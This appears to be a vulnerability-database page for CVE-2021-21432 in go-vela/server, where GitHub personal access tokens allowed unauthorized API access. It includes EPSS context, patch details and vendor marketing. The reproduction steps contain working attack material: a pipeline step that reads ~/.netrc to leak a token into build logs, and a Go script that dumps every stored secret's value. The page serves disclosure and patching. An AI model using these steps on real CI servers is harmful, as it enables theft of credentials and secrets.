CVE-2021-21432 is a medium-severity (CVSS 6.5) CWE-285 vulnerability in github.com/go-vela/server. A fix is available for github.com/go-vela/server — see the affected versions and patch details below.
Reject unauthorized access with GitHub PATs
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2021-21432 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/go-vela/serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
-
Create Vela server
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Login to Vela UI
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Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
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Activate repository within Vela
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Add
.vela.ymlto the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc -
Look at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> -
Copy the password to be utilized in some later step
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Add secret(s) to activated repo
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Copy the following script into
main.gopackage main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } } -
Run the
main.gowith environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5or later
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/go-vela/server | ≥ 0.7.0&&< 0.7.5 | 0.7.5go get github.com/go-vela/server@v0.7.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-vela/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/go-vela/server to 0.7.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-21432 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2021-21432 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2021-21432. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2021-21432 in your dependencies?
O3 Security finds CVE-2021-21432 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.